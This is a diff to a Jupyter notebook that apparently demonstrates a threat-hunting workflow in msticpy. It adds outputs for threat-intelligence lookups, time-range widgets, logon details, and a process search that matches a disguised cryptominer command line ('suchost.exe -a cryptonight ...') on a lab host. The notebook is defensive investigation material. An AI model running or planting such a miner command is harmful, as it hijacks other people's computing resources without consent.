" + ], + "text/plain": [ + " Ioc IocType SafeIoc QuerySubtype Provider Result \\\n", + "1 microsoft.com dns microsoft.com None OTX True \n", + "0 168.63.129.16 ipv4 168.63.129.16 None XForce True \n", + "\n", + " Severity \\\n", + "1 high \n", + "0 warning \n", + "\n", + " Details \\\n", + "1 {'pulse_count': 9, 'names': ['MIOCs - Latest Malware Analysis worldwide', 'MIOCs - Latest Malwar... \n", + "0 {'score': 1, 'cats': {}, 'categoryDescriptions': {}, 'reason': 'Regional Internet Registry', 're... \n", + "\n", + " RawResult \\\n", + "1 {'indicator': 'microsoft.com', 'alexa': 'http://www.alexa.com/siteinfo/microsoft.com', 'whois': ... \n", + "0 {'ip': '168.63.129.16', 'history': [{'created': '2012-03-22T07:26:00.000Z', 'reason': 'Regional ... \n", + "\n", + " Reference \\\n", + "1 https://otx.alienvault.com/api/v1/indicators/domain/microsoft.com/general \n", + "0 https://api.xforce.ibmcloud.com/ipr/168.63.129.16 \n", + "\n", + " Status \n", + "1 0 \n", + "0 0 " + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "from msticpy.sectools.tiproviders.ti_provider_base import TISeverity\n", "\n", @@ -986,7 +5065,7 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 27, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:21:17.223752Z", @@ -994,7 +5073,50 @@ }, "scrolled": true }, - "outputs": [], + "outputs": [ + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "8bdb82fce96c426eada5286a8dbff187", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "HTML(value='

Set query time boundaries

')" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "c844b8ccb9b24f10bcbd46c2b48af227", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "HBox(children=(DatePicker(value=datetime.date(2019, 2, 13), description='Origin Date'), Text(value='22:04:15',…" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "b6d3350b440f47a59a806709454056e4", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "VBox(children=(IntRangeSlider(value=(-5, 1), description='Time Range (day):', layout=Layout(width='80%'), max=…" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "# set the origin time to the time of our alert\n", "query_times = nbwidgets.QueryTime(units='day', before=5, max_before=20,\n", @@ -1005,14 +5127,121 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 28, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:21:22.127025Z", "start_time": "2020-05-16T02:21:19.300028Z" } }, - "outputs": [], + "outputs": [ + { + "data": { + "text/html": [ + "

Command Line: '.\\\\suchost.exe -a cryptonight -o bcn -u bond007.01 -p x -t 4'

" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "

2 proceses with matching commandline found on 1 hosts in workspace

" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "

between: 2019-02-08 22:04:15+00:00 and 2019-02-14 22:04:15+00:00

" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "

To examine these execute the dataframe 'proc_match_in_ws' in a new cell

" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "

TimeCreatedUtc Computer \\\n", + "0 2019-02-13 22:03:42.817000+00:00 MSTICAlertsWin1 \n", + "1 2019-02-09 23:26:48.073000+00:00 MSTICAlertsWin1 \n", + "\n", + " NewProcessName \\\n", + "0 C:\\W!ndows\\System32\\suchost.exe \n", + "1 C:\\W!ndows\\System32\\suchost.exe \n", + "\n", + " CommandLine \n", + "0 .\\suchost.exe -a cryptonight -o bcn -u bond007.01 -p x -t 4 \n", + "1 .\\suchost.exe -a cryptonight -o bcn -u bond007.01 -p x -t 4

" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "# This query needs a commandline parameter which isn't supplied\n", "# by default from the the alert \n", @@ -1069,7 +5298,7 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 29, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:21:24.995564Z", @@ -1077,7 +5306,50 @@ }, "scrolled": true }, - "outputs": [], + "outputs": [ + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "12a6d9f90708483d90156832eeaf8abd", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "HTML(value='

Set query time boundaries

')" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "5e80f24191ae4dfc801a42185bcfe223", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "HBox(children=(DatePicker(value=datetime.date(2019, 2, 13), description='Origin Date'), Text(value='22:04:15',…" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/vnd.jupyter.widget-view+json": { + "model_id": "b8da90e950e34ce3a2d79e1caa24a2fb", + "version_major": 2, + "version_minor": 0 + }, + "text/plain": [ + "VBox(children=(IntRangeSlider(value=(-1, 0), description='Time Range (day):', layout=Layout(width='80%'), max=…" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "# set the origin time to the time of our alert\n", "query_times = nbwidgets.QueryTime(units='day', origin_time=security_alert.origin_time,\n", @@ -1099,14 +5371,69 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 30, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:21:30.636724Z", "start_time": "2020-05-16T02:21:28.813548Z" } }, - "outputs": [], + "outputs": [ + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "application/javascript": [ + "try {IPython.notebook.kernel.execute(\"NOTEBOOK_URL = '\" + window.location + \"'\");} catch(err) {;}" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + }, + { + "data": { + "text/html": [ + "\n", + " \n", + "
Account: MSTICAdmin
Account Domain: MSTICAlertsWin1
Logon Time: 2019-02-13 22:03:42.283000+00:00
Logon type: 4(Batch)
User Id/SID: S-1-5-21-996632719-2361334927-4038480536-500
  SID S-1-5-21-996632719-2361334927-4038480536-500 is administrator
  SID S-1-5-21-996632719-2361334927-4038480536-500 is local machine or domain account

Subject (source) account: WORKGROUP/MSTICAlertsWin1$
Logon process: Advapi
Authentication: Negotiate
Source IpAddress: -
Source Host: MSTICAlertsWin1
Logon status:
" + ], + "text/plain": [ + "" + ] + }, + "metadata": {}, + "output_type": "display_data" + } + ], "source": [ "logon_id = security_alert.get_logon_id()\n", "\n", @@ -1133,14 +5460,73 @@ }, { "cell_type": "code", - "execution_count": null, + "execution_count": 31, "metadata": { "ExecuteTime": { "end_time": "2020-05-16T02:21:33.574131Z", "start_time": "2020-05-16T02:21:31.528726Z" } }, - "outputs": [], + "outputs": [ + { + "data": { + "text/html": [ + "

Querying data...

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fX6hu3U7TSy+9oDvuuFuSNHPmn7VkyRINGzZCU6feq/nzC+V5vs4662ydf/6g3V4vxjIBAAAA1BoLFnyiESNG68knZ2rFiu/1wQfv63e/GyVJmjbtMa1du1YPPDBFd901RY888pROPPFk3X//5PDrTz75FD399HPauHGjvv12sR544GH9+c/PqUWLlpo161WtWrVSkydP0qRJU/SnP82Q73v69NN/6Ve/ukJdunTVkCGXlvtenfXFFwu1bt06SdJbb72unj3P1F//+rwk6eGHn9S0aY/p3Xff0b/+NX+3f/eMNXcTJkzQ2rVrdfvtt1f4+MKFC3Xddddp48aNOv7443XzzTcrmaRABAAAAGxU58jOqnNk54x872TSVUmJv1Nfc8ghh6l58xaSpFatDtH69esqPP755wu0YsX3Gj78CkmS73tq0mTv8PG2bY+WJB100E901VUj9Ne/vqBvv/1Gn332qQ488CAtWPCJ2rU7NvwZ11//e0nS3/721zTXn1TXrqfpnXfe1gknnKwff/xRbdr8TE8++Zi+/PI/Kiz8SJK0efMmffXVf3XssR126net8vN266ur8f777+v555/Xz3/+8yqPjRo1Srfccovat2+vcePGacaMGRo4cGAmLgMAAADAHqZu3brh247jyBhT4XHf93TMMcdqwoTUqOTWrVu1efPm8PF69epJkv7974W66abrNGDAQJ122hlKJFwZY5RMJuU4Zd9v7dq1NV5Pz55n6aGH7tf69evUo8eZkiTP83XllcPVrdvpkqQffvhBDRo02PVfulTkY5k//PCD7r77bl1xxRVVHlu6dKm2bNmi9u3bS5Ly8/P12muvRX0JOWHlU09o3dz3sn0ZAAAAACQlEgmVlJSobduj9dlnn+rbb7+RJD366EPhPXnl/fOfherQoaP69euvn/zkYL333mz5vq82bX6mzz5boKKi1ZKkyZMnafbsd5RIJOR5XpXvc/TR7bR69WrNmvU3de/eS5LUsePxeumlF1RSUqJNmzbpyisv1Weffbrbv2Pkzd0NN9ygESNGaPny5VUeW7lypfLy8sL38/LytGLFip3+Gc2aNUr78by8xjv9vTJl0fxC1XWM8vr0zPalxCKX1n5Pw9pnD2ufPax99rD22cX6Zw9rX2blSlfJZHxbd+zoz0omXSUSrhzHCb/GcRy5bur9U0/tpos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